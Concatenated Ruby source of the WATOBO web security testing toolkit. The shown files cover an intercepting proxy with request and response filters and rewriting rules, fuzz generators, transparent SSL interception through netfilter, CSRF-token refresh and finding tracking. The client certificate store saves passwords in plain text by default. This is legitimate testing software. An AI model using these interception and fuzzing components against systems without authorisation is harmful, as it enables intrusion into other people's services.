filter[:hide_tested] return false if chat.tested? end if filter.has_key?(:status_codes) and not filter[:status_codes].empty? return false if filter[:status_codes].find_index {|i| chat.response.status =~ /#{i}/}.nil? end if filter.has_key?(:mime_types) and not filter[:mime_types].empty? match = false filter[:mime_types].each do |mt| if chat.response.content_type =~ /#{mt}/i match = true end end return false if match == false end if filter[:hidden_extensions] == true return false if filter[:hidden_extension_patterns].include?(chat.request.doctype) end if filter[:show_extension_patterns] unless filter[:show_extension_patterns].empty? or filter[:show_extensions] == false return false unless filter[:show_extension_patterns].include?(chat.request.doctype) end end negate = filter.has_key?(:negate_pattern_search) ? filter[:negate_pattern_search] : false if filter[:url_pattern] && !filter[:url_pattern].empty? match = chat.request.first =~ /#{filter[:url_pattern]}/i return true if (match && !negate) || (!match && negate) return false end if filter[:request_pattern] && !filter[:request_pattern].empty? match = chat.request.join =~ /#{filter[:request_pattern]}/i return true if (match && !negate) || (!match && negate) return false end if filter[:response_pattern] && !filter[:response_pattern].empty? match = chat.response.join.unpack("C*").pack("C*") =~ /#{filter[:response_pattern]}/i return true if (match && !negate) || (!match && negate) return false end if filter[:comment_pattern] && !filter[:comment_pattern].empty? match = chat.comment =~ /#{filter[:comment_pattern]}/i return true if (match && !negate) || (!match && negate) return false end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false end end endwatobo-1.0.1/lib/watobo/core/client_cert_store.rb000066400000000000000000000067101366346341400220470ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module ClientCertStore#:nodoc: all @client_certs = {} @project = nil # :ssl_client_cert # :ssl_client_key # :extra_chain_certs # :password # :save_pw [Bool] # :insert [Bool] def self.clear @client_certs.clear end def self.add_pem( site, cert_file, key_file, password=nil) cinfo = { :type => :pem, :certificate_file => cert_file, :key_file => key_file, :password => password } begin cinfo[:ssl_client_cert] = OpenSSL::X509::Certificate.new(File.read(cert_file)) cinfo[:ssl_client_key] = OpenSSL::PKey::RSA.new(File.read(key_file)) @client_certs[site] = cinfo return false rescue => bang puts bang end false end def self.add_pkcs12( site, cert_file, password=nil ) cinfo = { :type => :pkcs12, :certificate_file => cert_file, :password => password } begin p12 = OpenSSL::PKCS12.new( File.read(cert_file), password) cinfo[:ssl_client_cert] = p12.certificate cinfo[:ssl_client_key] = p12.key cinfo[:extra_chain_certs] = p12.ca_certs @client_certs[site] = cinfo return true rescue => bang puts bang end false end def self.set( site, cert ) puts "Set client cert for site #{site}" puts cert.class puts cert return false if cert.nil? if cert[:certificate_file].nil? or cert[:certificate_file].strip.empty? puts "Removing client certificate for site #{site}" @client_certs.delete(site.to_sym) save return true end @client_certs[ site.to_sym ] = cert save true end def self.certs Marshal::load(Marshal::dump(@client_certs)) end def self.certs=(client_certs) @client_certs = client_certs end def self.get( site ) return nil unless @client_certs.has_key? site.to_sym @client_certs[ site.to_sym ] end def self.load certs = Watobo::DataStore.load_project_settings('ClientCertStore') return false if certs.nil? @client_certs = certs @client_certs.each do |site, cinfo| begin case cinfo[:type] when :pem add_pem(site, cinfo[:certificate_file], cinfo[:key_file], cinfo[:password]) when :pkcs12 add_pkcs12(site, cinfo[:certificate_file], cinfo[:password]) end rescue => bang puts bang puts bang.backtrace end end end def self.get_subject( site ) cert = self.get(site) cert.certificate.subject.to_s end def self.save out = {} @client_certs.each do |site, cinfo| data = {} # TODO: set default :save_pw to false and include switch to client cert dialog # TODO: use gnome-keyring as password-store # - https://github.com/mvz/gir_ffi-gnome_keyring save_pw = cinfo.has_key?(:save_pw) ? cinfo[:save_pw] : true [:certificate_file, :key_file, :type, :password, :insert ].each do |k| val = cinfo[k] if k == :password and !cinfo[:password].strip.empty? val = save_pw ? cinfo[:password] : '' end data[k] = val end out[site] = data end Watobo::DataStore.save_project_settings('ClientCertStore', out) end end end watobo-1.0.1/lib/watobo/core/conversation.rb000066400000000000000000000022451366346341400210510ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Conversation include Watobo::Constants attr_accessor :file def id() # must be defined end def copyRequest() # req_copy = [] # self.request.each do |line| # req_copy.push line.clone # end orig = Utils.copyObject(@request) # now extend the new request with the Watobo mixins #copy.extend Watobo::Mixin::Parser::Url #copy.extend Watobo::Mixin::Parser::Web10 #copy.extend Watobo::Mixin::Shaper::Web10 copy = Watobo::Request.new(orig) return copy end private # def extendRequest # @request.extend Watobo::Mixin::Shaper::Web10 # @request.extend Watobo::Mixin::Parser::Web10 # @request.extend Watobo::Mixin::Parser::Url # end # def extendResponse # @response.extend Watobo::Mixin::Parser::Web10 # end def initialize(request, response) @request = Watobo::Request.new request @response = Watobo::Response.new response @file = nil # extendRequest() # extendResponse() #Watobo::Request.create @request #Watobo::Response.create @response end end endwatobo-1.0.1/lib/watobo/core/cookie.rb000066400000000000000000000024761366346341400176160ustar00rootroot00000000000000# @private module Watobo#:nodoc: all #Set-Cookie: mycookie=b41dc9e55d6163f78321996b10c940edcec1b4e55a76464c4e9d25e160ac0ec5b769806b; path=/; secure class Cookie < Parameter attr :name attr :value attr :path attr :secure attr :http_only def to_s "#{@name}=#{@value}" end def initialize(prefs) @secure = false @http_only = false if prefs.respond_to? :has_key? @secure = prefs.has_key?(:secure) ? prefs[:secure] : false @http_only = prefs.has_key?(:http_only) ? prefs[:http_only] : false @location = :cookie @path = prefs[:path] @name = prefs[:name] @value = prefs[:value] else # puts "= NEW COOKIE =" # puts prefs # puts prefs.class chunks = prefs.split(";") # first chunk @name, @value = chunks.first.split(":").last.split("=") m = prefs.match(/path=([^;]*)/) @path = m.nil? ? "" : m[1].strip @secure = true if chunks.select{|c| c =~ /Secure/i } @http_only = true if chunks.select{|c| c =~ /HttpOnly/i } end #if prefs.is_a? Hash # #TODO: create cookie with hash-settings # else # raise ArgumentError, "Need hash (:name, :value, ...) or string (Set-Cookie:...)" #end end end endwatobo-1.0.1/lib/watobo/core/egress_handlers.rb000077500000000000000000000044201366346341400215070ustar00rootroot00000000000000# @private =begin The following example, will replace the md5 hash by it's correct value module Watobo#:nodoc: all module EgressHandlers class MyEgress2 def execute(r) d = r.parameters(:url).select{|p| p.name == 'data'}[0] h = r.parameters(:url).select{|p| p.name == 'md5'}[0] h.value = Digest::MD5.hexdigest(d.value) r.set h end end end end =end module Watobo#:nodoc: all module EgressHandlers CONFIG_FILE = 'egress_config.yml' MAX_HISTORY = 5 @handlers = {} @history = [] @last = nil def self.list(&block) @handlers.each_key do |name| yield name if block_given? end @handlers.each_key.to_a end def self.add(file) load file update save_config end def self.last @last end def self.last=(name) @last = name save_config end def self.create(name) # puts "create egress-handler #{name}" fkey = name.to_sym return nil unless @handlers.has_key? fkey @handlers[fkey].new() end def self.update constants.each do |name| next if name == :CONFIG_FILE next if name == :MAX_HISTORY h = class_eval(name.to_s) h_name = h.name.gsub(/.*::/, '').to_sym @handlers[h_name] = h end end def self.length @handlers.length end def self.reload @history.each do |file| # puts "load egress file #{file}" load file end end def self.load(file) begin Kernel.load file @history << file @history.uniq! @history.shift if @history.length > MAX_HISTORY rescue SyntaxError => bang puts bang puts bang.backtrace end end def self.init @cfg_file = File.join Watobo.working_directory, 'conf', CONFIG_FILE load_config end def self.load_config cfg = Watobo::DataStore.load_project_settings(self.name.gsub(/^.*::/,'')) return false if cfg.nil? @last = cfg[:last] @history = cfg[:history] reload update end def self.save_config cfg = { :last => @last, :history => @history } Watobo::DataStore.save_project_settings(self.name.gsub(/^.*::/,''), cfg) end end end watobo-1.0.1/lib/watobo/core/finding.rb000066400000000000000000000026311366346341400177540ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Finding < Conversation @@numFindings = 0 @@max_id = 0 @@lock = Mutex.new attr :details attr :request attr :response def self.resetCounters() @@numFindings = 0 @@max_id = 0 end def id() @details[:id] end def false_positive? @details[:false_positive] end def set_false_positive @details[:false_positive] = true end def unset_false_positive @details[:false_positive] = false end def method_missing(name, *args, &block) if @details.has_key? name return @details[name] end super end def to_h h = { :details => @details } h[:request] = @request.to_a h[:response] = @response.to_a h end def initialize(request, response, details = {}) super(request, response) @details = { :id => -1, :comment => '', :false_positive => false # FalsePositive } @details.update details if details.is_a? Hash @@lock.synchronize{ # enter critical section here ??? if @details[:id] > 0 and @details[:id] > @@max_id @@max_id = @details[:id] elsif @details[:id] < 0 @@max_id += 1 @details[:id] = @@max_id end @@numFindings += 1 } # extendRequest() # extendResponse() end end endwatobo-1.0.1/lib/watobo/core/findings.rb000077500000000000000000000054211366346341400201420ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Findings @findings = {} @findings_lock = Mutex.new @event_dispatcher_listeners = Hash.new def self.subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def self.clearEvents(event) @event_dispatcher_listeners[event] ||= [] @event_dispatcher_listeners[event].clear end def self.notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def self.length @findings.length end def self.reset @findings = {} @event_dispatcher_listeners = Hash.new end def self.exist?(finding) @findings.has_key?(finding.details[:fid]) end def self.set(finding, prefs) @findings_lock.synchronize do if @findings.has_key? finding.fid @findings[finding.fid].details.update prefs Watobo::DataStore.update_finding(finding) return true end return false end end def self.unset_false_positive(finding) @findings_lock.synchronize do if @findings.has_key? finding.fid @findings[finding.fid].unset_false_positive Watobo::DataStore.update_finding(finding) return true end return false end end def self.set_false_positive(finding) @findings_lock.synchronize do if @findings.has_key? finding.fid @findings[finding.fid].set_false_positive Watobo::DataStore.update_finding(finding) return true end return false end end def self.each(&block) if block_given? @findings_lock.synchronize do @findings.map{|f| yield f } end end end def self.delete(finding) @findings_lock.synchronize do Watobo::DataStore.delete_finding(finding) @findings.delete finding.fid end end def self.add(finding, opts={}) @findings_lock.synchronize do options = { :notify => true, :save_finding => true } options.update opts puts "[Project] add finding #{finding.fid}" if $DEBUG # only add finding if it (its fid) doesn't already exist unless @findings.has_key?(finding.fid) begin @findings[finding.fid] = finding notify(:new, finding) if options[:notify] == true Watobo::DataStore.add_finding(finding) if options[:save_finding] == true rescue => bang puts "!!!ERROR: #{Module.nesting[0].name}" puts bang puts bang.backtrace if $DEBUG end end end end end endwatobo-1.0.1/lib/watobo/core/forwarding_proxy.rb000066400000000000000000000020061366346341400217350ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module ForwardingProxy def self.get(site=nil) begin fp = Watobo::Conf::ForwardingProxy.to_h if site.nil? return nil unless fp.has_key? :default_proxy return nil if fp[:default_proxy].empty? name = fp[:default_proxy] proxy = fp[:name] return Watobo::Proxy.new(proxy) end fp.each do |pn, ps| # ignore old style proxy next unless ps.respond_to? :has_key? next unless ps.has_key? :enabled next unless ps[:enabled] if ps.has_key? :target_pattern pat = ps[:target_pattern] pat = ".*" if pat == "*" if site =~ /#{ps[:target_pattern]}/ proxy = Watobo::Proxy.new(ps) return proxy end end end rescue => bang puts bang puts bang.backtrace puts fp end return nil end end endwatobo-1.0.1/lib/watobo/core/fuzz_gen.rb000066400000000000000000000055301366346341400201660ustar00rootroot00000000000000# @private module Watobo#:nodoc: all # base class for generators class FuzzGenerator attr :numRequests attr :name attr :genType attr :actions attr :info def is_generator? true end def run(imr=nil) result = Hash.new result.update imr if imr generate do |value| rv = value @actions.each do |p| rv = p.func.call(rv) end result[@fuzzer_tag.name] = rv yield result end end def addAction(proc) @actions.push proc end def removeAction(action) @actions.delete(action) end def generate return true end def initialize(fuzzer_tag) @actions = [] @numRequests = 0 @fuzzer_tag = fuzzer_tag @genType = "Undefined" @info = "undefined" end end class FuzzFile < FuzzGenerator def generate return if not @filename fh = File.open(@filename) fh.each_line do |line| line.chomp! yield line if not line.empty? end end def initialize(fuzzer_tag, filename) super(fuzzer_tag) @genType = "File-Input" @filename = "" @numRequests = 0 if File.exist?(filename) then @filename = filename File.open(filename) do |fh| fh.each_line do |l| @numRequests += 1 end end else @numRequests = 0 end @info = "Filename: #{@filename}" end end class FuzzList < FuzzGenerator def generate(&block) @list.each do |item| yield item if block_given? end end def initialize(fuzzer_tag, list) @list = list super(fuzzer_tag) @genType = "List-Input" @numRequests = @list.length @info = "#{@numRequests} values" end end class FuzzCounter < FuzzGenerator attr_reader :start, :stop, :count, :step def generate return false if @start.nil? return false if @stop.nil? and @count.nil? if @stop == 0 and @count > 0 then @stop = @start + @count end return 0 if @start == @stop @start.step(@stop, @step) do |i| yield i.to_s end end def initialize(fuzzer_tag, prefs) super(fuzzer_tag) @genType = "Counter" @start = prefs[:start] @stop = prefs[:stop] @count = prefs[:count] || 0 @step = ( prefs[:step] and prefs[:step] != 0 ) ? prefs[:step] : 1 if @stop < @start and @step > 0 then @step = @step * -1 end @info = "start=#{@start}/stop=#{@stop}/step=#{@step}" @numRequests = (( @stop - @start ) / @step).abs end end end watobo-1.0.1/lib/watobo/core/intercept_carver.rb000077500000000000000000000073211366346341400217010ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Interceptor class CarverRule def action_name action.to_s end def location_name location.to_s end def pattern_name Regexp.quote pattern end def filter_name # return "NA" if filter.nil? return filter.class.to_s end def set_filter(filter_chain) puts "* set filter_chain" puts filter_chain.class @settings[:filter] = filter_chain end def filters return [] unless filter.respond_to? :list filter.list end def content_name content end # rewrite options # item # location # pattern # content def rewrite(item, l, p, c) res = false case l when :replace_all if File.exist? c begin item.replace Watobo::Utils.string2response(File.open(c,"rb").read) rescue => bang puts bang puts bang.backtrace end else puts "Could not find file > #{c}" end when :body if item.respond_to? :body if p.upcase == :ALL res = item.replace_body(c) else puts "* rewrite body ..." res = item.rewrite_body(p,c) end end when :http_parm 1 when :cookie 1 when :url if item.respond_to? :url item.first.gsub!(/#{p}/, c) end when :header puts "REPLACE HEADER" item.each_with_index do |line, index| if line =~ /#{p}/ item[index] = "#{c.strip}\r\n" end break if line.strip.empty? end res = item end res end def apply(item, flags) begin unless filter.nil? return false unless filter.match?(item, flags) end res = case action when :flag puts "set flag >> #{content} (#{content.class})" flags << :request true when :inject inject_content(item, location, pattern, content) when :rewrite puts "REWRITE" puts "Location: #{location}" puts "Pattern: #{pattern}" # puts "Content: #{content}" rewrite(item, location, pattern, content) else true end return res rescue => bang puts bang puts bang.backtrace end end def initialize(parms) @settings = Hash.new [:action, :location, :pattern, :content, :filter].each do |k| @settings[k] = parms[k] end end private def method_missing(name, *args, &block) # puts "* instance method missing (#{name})" @settings.has_key? name.to_sym || super @settings[name.to_sym] end end class Carver @rules = [] def self.rules @rules end def self.shape(response, flags) @rules.each do |r| res = r.apply( response, flags ) puts "[rewrite] #{r.action_name} (#{r.action.class}) >> #{res.class}" end end def self.set_carving_rules(rules) @rules = rules end def self.add_rule(rule) @rules << rule if rule.respond_to? :apply end def self.clear_rules @rules.clear end end class RequestCarver < Carver @rules = [] end class ResponseCarver < Carver @rules = [] end end endwatobo-1.0.1/lib/watobo/core/intercept_filter.rb000066400000000000000000000133671366346341400217100ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Interceptor class Filter attr :match_type, :flags, :pattern def name self.class.to_s.gsub(/.*::/,'') end def negated? @negate end def negate=(state) @negate = state end def match?(item, flags) return !check?(item, flags) if @negate == true return check?(item, flags) end def initialize(pattern, prefs={}) @flags = prefs.has_key?(:flags) ? prefs[:flags] : [] @match_type = prefs.has_key?(:match_type) ? prefs[:match_type] : :match @negate = ( @match_type.to_s =~ /^not/ ) @pattern = pattern end end class FlagFilter < Filter def check?(item, flags=nil) @flags.each do |f| return false unless flags.include? f end return true end end class UrlFilter < Filter def check?(item, flags=nil) return false unless item.respond_to? :url return true if @pattern.empty? match = false match = true if item.url =~ /#{@pattern}/i match end end class HttpParmsFilter < Filter def check?(item, flags=nil) return false unless item.respond_to? :parms return true if @pattern.empty? match = request.parms.find {|x| x =~ /#{@pattern}/ } match = !match_parms.nil? match end end class MethodFilter < Filter def check?(item, flags=nil) return false unless item.respond_to? :method return true if @pattern.empty? match = false match = true if item.method =~ /#{@pattern}/i match end end class StatusFilter < Filter def check?(item, flags=nil) return false unless item.respond_to? :method return true if @pattern.empty? match = false match = true if item.status =~ /#{@pattern}/i match end end class FilterChain def match?(item, flags=nil) @filters.each do |f| return false unless f.match?( item, flags ) end true end def add_filter(filter) @filters << filter if filter.respond_to? :match? end def remove_filter(pos) end def set_filters(filter) @filters = filter end def list @filters end def clear @filters.clear end def initialize @filters = [] end end class RequestFilter def match?(request) match_url = true # puts @request_filter_settings.to_yaml if url_filter != '' match_url = false if request.url.to_s =~ /#{url_filter}/i match_url = true end if negate_url_filter == true match_url = ( match_url == true ) ? false : true end end return false if match_url == false match_method = true if method_filter != '' match_method = false if request.method =~ /#{method_filter}/i match_method = true end if negate_method_filter == true match_method = ( match_method == true ) ? false : true end end return false if match_method == false match_ftype = true ftype_filter = file_type_filter if ftype_filter != '' match_ftype = false if request.doctype != '' and request.doctype =~ /#{ftype_filter}/i match_ftype = true end if negate_file_type_filter == true match_ftype = ( match_ftype == true ) ? false : true end end return false if match_ftype == false match_parms = true # parms_filter = @request_filter_settings[:parms_filter] if parms_filter != '' # puts "!PARMS FILTER: #{parms_filter}" match_parms = false puts request.parms match_parms = request.parms.find {|x| x =~ /#{parms_filter}/ } match_parms = ( match_parms.nil? ) ? false : true if negate_parms_filter == true match_parms = ( match_parms == true ) ? false : true end end return false if match_parms == false true end def initialize(parms) @settings = { :site_in_scope => false, :method_filter => '(get|post|put)', :negate_method_filter => false, :negate_url_filter => false, :url_filter => '', :file_type_filter => '(jpg|gif|png|jpeg|bmp)', :negate_file_type_filter => true, :parms_filter => '', :negate_parms_filter => false #:regex_location => 0, # TODO: HEADER_LOCATION, BODY_LOCATION, ALL } [ :site_in_scope, :method_filter,:negate_method_filter, :negate_url_filter,:url_filter, :file_type_filter,:negate_file_type_filter,:parms_filter,:negate_parms_filter].each do |k| @settings[k] = parms[k] end #:regex_location => 0, # TODO: HEADER_LOCATION, BODY_LOCATION, ALL end private def method_missing(name, *args, &block) # puts "* instance method missing (#{name})" @settings.has_key? name.to_sym || super @settings[name.to_sym] end end end end if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "..","lib")) $: << inc_path require 'watobo' r = Watobo.create_request("www.siberas.com") puts r fc = Watobo::Interceptor::FilterChain.new fc.add_filter Watobo::Interceptor::UrlFilter.new("(www|\.de)") fc.add_filter Watobo::Interceptor::MethodFilter.new("GeT") m = fc.match? r puts m r = Watobo.create_request("sec.siberas.com") r.method = "Post" puts r m = fc.match? r puts m endwatobo-1.0.1/lib/watobo/core/interceptor.rb000066400000000000000000000041201366346341400206670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Interceptor INTERCEPT_NONE = 0x00 INTERCEPT_REQUEST = 0x01 INTERCEPT_RESPONSE = 0x02 INTERCEPT_BOTH = 0x03 REWRITE_NONE = 0x00 REWRITE_REQUEST = 0x01 REWRITE_RESPONSE = 0x02 REWRITE_BOTH = 0x04 INTERCEPT_DEFAULT_PORT = 8081 MODE_REGULAR = 0x01 MODE_TRANSPARENT = 0x02 @proxy_mode ||= MODE_REGULAR @intercept_mode ||= INTERCEPT_NONE @rewrite_mode ||= REWRITE_NONE @proxy = nil #@proxy_mode = Watobo::Conf::Interceptor.proxy_mode if Watobo::Conf::Interceptor.respond_to? :proxy_mode def self.proxy_mode @proxy_mode end def self.proxy_mode=(mode) @proxy_mode = mode end def self.rewrite_mode @rewrite_mode end def self.rewrite_mode=(mode) @rewrite_mode = mode end def self.intercept_mode @intercept_mode end def self.intercept_mode=(mode) @intercept_mode = mode end def self.transparent? return true if ( @proxy_mode & MODE_TRANSPARENT ) > 0 return false end def self.intercept_requests? return true if ( @intercept_mode & INTERCEPT_REQUEST ) > 0 return false end def self.intercept_responses? return true if ( @intercept_mode & INTERCEPT_RESPONSE ) > 0 return false end def self.rewrite_requests? return true if ( @rewrite_mode & REWRITE_REQUEST ) > 0 return false end def self.rewrite_responses? return true if ( @rewrite_mode & REWRITE_RESPONSE ) > 0 return false end def self.active? return false if @proxy.nil? return true end def self.start # @proxy = Watobo::InterceptProxy.new() @proxy = Watobo::Interceptor::Proxy.start() puts "DEBUG: Proxy running" if $DEBUG # puts "* set www_auth for interceptor" # puts YAML.dump(@project.settings[:www_auth]) #@proxy.www_auth = Watobo.project.settings[:www_auth] unless Watobo.project.nil? end def self.proxy @proxy end def self.stop @proxy.stop @proxy = nil end end end watobo-1.0.1/lib/watobo/core/min_class.rb000066400000000000000000000001051366346341400203000ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class MinClass end endwatobo-1.0.1/lib/watobo/core/netfilter_queue.rb000066400000000000000000000102571366346341400215410ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module NFQueue @ssl_requests = Hash.new @cert_list = Hash.new @netqueue_lock = Mutex.new @t_nfqueue = nil @nfq_present = false begin require 'nfqueue' @nfq_present = true rescue LoadError => bang puts bang puts bang.backtrace puts "NFQUEUE not available on this system" end def self.get_ip_string(raw_addr) begin ip = "" raw_addr.length.times do |i| ip << "." unless ip.empty? ip << raw_addr[i].ord.to_s end rescue => bang puts bang puts bang.backtrace end ip end def self.stop @t_nfqueue.kill if @t_nfqueue.respond_to? :kill end def self.start # @t_nfqueue.raise unless @t_nfqueue.nil? puts @t_nfqueue.status if @t_nfqueue.respond_to? :status puts "starting netfilter_queue ..." @t_nfqueue = Thread.new{ begin Netfilter::Queue.create(0) do |p| puts ">> Netfilter Packet #" + p.id.to_s # $stdout.flush puts p.data.class raw_src = p.data[12..15] raw_dst = p.data[16..19] src_port = p.data[20..21].unpack("H4")[0].hex dst_port = p.data[22..24].unpack("H4")[0].hex # if p.data.length > 47 # flags = p.data[47].unpack("H*")[0].hex # puts flags.to_s # if flags == 2 puts "ADD SSL REQUEST" puts "#{get_ip_string(raw_src)}:#{src_port} -> #{get_ip_string(raw_dst)}:#{dst_port}" @netqueue_lock.synchronize do if add_ssl_request(get_ip_string(raw_src), src_port, get_ip_string(raw_dst), dst_port) puts "OK" end end #end #end Netfilter::Packet::ACCEPT end rescue => bang puts bang puts bang.backtrace # retry rescue Netfilter::QueueError puts "NetfilterERROR" exit end } @t_nfqueue end def self.add_ssl_request(c_host, c_port, s_host, s_port) ck = "#{c_host}:#{c_port}" sk = "#{s_host}:#{s_port}" begin unless @cert_list.has_key? sk if cert = acquire_cert(s_host,s_port) @ssl_requests[ck] = sk @cert_list[sk] = cert else return false end else @ssl_requests[ck] = sk end return true rescue => bang puts bang puts bang.backtrace end return false end def self.get_connection_info(c_host,c_port) begin ck = "#{c_host}:#{c_port}" target_site = nil cert = nil @netqueue_lock.synchronize do if @ssl_requests.has_key? ck target_site = @ssl_requests[ck] cert = @cert_list[target_site] if @cert_list.has_key? target_site end end return target_site, cert rescue => bang puts bang puts bang.backtrace end return nil, nil end def self.acquire_cert(host, port) puts "* acquire cert ... #{host}:#{port}" begin tcp_socket = TCPSocket.new( host, port ) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true ctx = OpenSSL::SSL::SSLContext.new() ctx.tmp_dh_callback = proc { |*args| OpenSSL::PKey::DH.new(128) } socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) socket.connect #socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) sk = "#{host}:#{port}" cert = socket.peer_cert @cert_list[sk] = cert puts "PEER CERT SUBJECT: #{cert.subject}" # puts cert.subject.methods.sort return cert rescue => bang puts bang puts bang.backtrace end return nil end end end if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..","..","..", "lib")) # this is the same as rubygems would do $: << inc_path require 'watobo' require 'nfqueue' Watobo::Interceptor.proxy_mode = Watobo::Interceptor::MODE_TRANSPARENT @iproxy = Watobo::InterceptProxy.new() @iproxy.run while 1 sleep 1 end end watobo-1.0.1/lib/watobo/core/ott_cache.rb000066400000000000000000000102431366346341400202650ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class OTTCache @otts = {} @otts_lock = Mutex.new attr :tokens def initialize() @tokens = {} @tokens_lock = Mutex.new end def self.acquire(request) urh = request.uniq_hash unless @otts.has_key? urh @otts[urh] = OTTCache.new() end @otts[urh] end def self.patterns(&block) Watobo::Conf::OttCache.patterns.each do |p| yield p if block_given? end YAML.load(YAML.dump(Watobo::Conf::OttCache.patterns)) end def update_tokens(response) begin # site = request.site @tokens_lock.synchronize do response.each do |line| # puts line self.class.patterns do |pat| puts pat if $DEBUG if line =~ /#{pat}/i then token_key = Regexp.quote($1.upcase) token_value = $2 #print "U" puts "GOT NEW TOKEN (#{token_key}): #{token_value}" if $DEBUG # @session[:valid_csrf_tokens][site] = Hash.new if @session[:valid_csrf_tokens][site].nil? # @session[:valid_csrf_tokens][site][token_key] = token_value @tokens[token_key] = token_value end end end end rescue => bang puts bang if $DEBUG puts bang.backtrace puts "= Request" puts request puts "= Response" puts response puts "===" end end # } end # target could be a Watobo::Chat or a Watobo::Request object def self.set_chat_ids(target, ott_chat_ids) r = target r = target.request if target.respond_to? :request @otts_lock.synchronize do Watobo::Conf::OttCache.request_ids[r.uniq_hash] = ott_chat_ids end end def self.requests(target, &block) ott_requests = [] return ott_requests if target.nil? self.chats(target) do |chat| ott_request = chat.copyRequest ott_requests << ott_request end ott_requests end # returns an array of Watobo::Requests which are necessary # to update the token def self.chats(target, &block) ott_chats = [] return ott_chats if target.nil? request = target.respond_to?(:request) ? target.request : target urh = request.uniq_hash @otts_lock.synchronize do return ott_chats unless Watobo::Conf::OttCache.request_ids.has_key? urh Watobo::Conf::OttCache.request_ids[urh].each do |id| #puts "* [OTT] get chat for id #{id}" chat = Watobo::Chats.get_by_id(id) unless chat.nil? #ottr = chat.copyRequest ott_chats << chat yield chat if block_given? end end end ott_chats end # update tokens for a specific request def update_request(request) #urh = target_request.uniq_hash #return false unless @tokens.has_key? urh @tokens_lock.synchronize do request.map!{ |line| res = line self.class.patterns do |pat| begin if line =~ /#{pat}/i then key = Regexp.quote($1.upcase) old_value = $2 if @tokens.has_key?(key) then res = line.gsub!(/#{Regexp.quote(old_value)}/, @tokens[key]) if res.nil? then res = line puts "!!!could not update token (#{key})" end else if $DEBUG puts "[OTT] nothing to update?" puts @tokens.to_yaml puts request end end end rescue => bang puts bang puts bang.backtrace if $DEBUG # puts @session.to_yaml end end res } end # end end end endwatobo-1.0.1/lib/watobo/core/parameter.rb000066400000000000000000000041601366346341400203150ustar00rootroot00000000000000# @private module Watobo #:nodoc: all =begin possible locations - url - header - cookie - data (body) =end class Parameter def location @prefs[:location] end def name @prefs[:name] end def value @prefs[:value] end def value=(v) @prefs[:value] = v end def to_h @prefs.clone end # @returns value type [Const] valid values Bool, String, Hash, Array def type @prefs[:type] end def is_value? t = @prefs[:type] return true if t.nil? return true if t.upcase.to_sym == :STRING return true if t.upcase.to_sym == :INTEGER #return false if t.upcase.to_sym == :HASH #return false if t.upcase.to_sym == :ARRAY false end def to_s "#{name}=#{value}" end def initialize(prefs) raise ":location is missing" unless prefs.has_key?(:location) raise ":name is missing" unless prefs.has_key?(:name) @prefs = prefs end def copy Parameter.new(self.to_h) end def method_missing(name, *args, &block) m = name.to_sym super unless @prefs.has_key?(m) return @prefs[m] end end class WWWFormParameter < Parameter def initialize(prefs) prefs[:location] = :data super prefs end end class UrlParameter < Parameter def initialize(prefs) prefs[:location] = :url super prefs end end class CookieParameter < Parameter def initialize(prefs) prefs[:location] = :cookie super prefs end end class JSONParameter < Parameter def id @prefs[:id] end def initialize(prefs) prefs[:location] = :json super prefs end end class HeaderParameter < Parameter def id @prefs[:id] end def initialize(prefs) prefs[:location] = :header super prefs end end class XmlParameter < Parameter def initialize(prefs) prefs[:location] = :xml super prefs # @parent = prefs.has_key?(:parent) ? prefs[:parent] : "" # @namespace = prefs.has_key?(:namespace) ? prefs[:namespace] : nil end end endwatobo-1.0.1/lib/watobo/core/passive_check.rb000077500000000000000000000074321366346341400211540ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class PassiveCheck include Watobo::Constants extend Watobo::Subscriber @@lock = Mutex.new attr :info def addFinding(details) t = Time.now now = t.strftime("%m/%d/%Y@%H:%M:%S") @@lock.synchronize { new_details = Hash.new new_details.update(@finding) new_details.update(details) new_details[:tstamp] = now unless new_details.has_key?(:fid) id_string = '' id_string << new_details[:chat].request.url.to_s if new_details[:chat] id_string << new_details[:class] if new_details[:class] id_string << new_details[:title] if new_details[:title] id_string << new_details[:unique] if new_details[:unique] if id_string.empty? then id_string = rand(10000) end #puts "Finding #{id_string}" new_details[:fid] = Digest::MD5.hexdigest(id_string) end new_details[:module] = self.class.to_s if details[:debug] == true then puts "---" puts new_details[:class] puts new_details[:title] puts "---" end request = new_details[:chat].request response = new_details[:chat].response new_details[:chat_id] = new_details[:chat].id # shorten pattern here because of crash in FXRex:match with large patterns unless new_details[:proof_pattern].nil? new_details[:proof_pattern] = new_details[:proof_pattern].length > 128 ? new_details[:proof_pattern][0..127] : new_details[:proof_pattern] end unless new_details[:check_pattern].nil? new_details[:check_pattern] = new_details[:check_pattern].length > 128 ? new_details[:check_pattern][0..127] : new_details[:check_pattern] end new_details.delete(:chat) new_finding = Watobo::Finding.new(request, response, new_details) Watobo::Findings.add new_finding #@project.addFinding(new_finding) # notify(:new_finding, new_finding) } end def enabled? @enabled end def enabled=(status) @enabled = status end def enable @enabled = true end def disable @enable = false end def do_test(chat) raise "function do_test not defined" end def initialize(project) @project = project @enabled = true #@event_dispatcher_listeners = Hash.new @info = { :check_name => '', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => '', # groupname of check, will be used to group checks, e.g. :Generic, SAP, :Enumeration :description => '', # description of checkfunction :author => "not modified", # author of check :version => "unversioned", # check version :target => nil # reserved } @finding = { :title => 'untitled', # [String] title name, 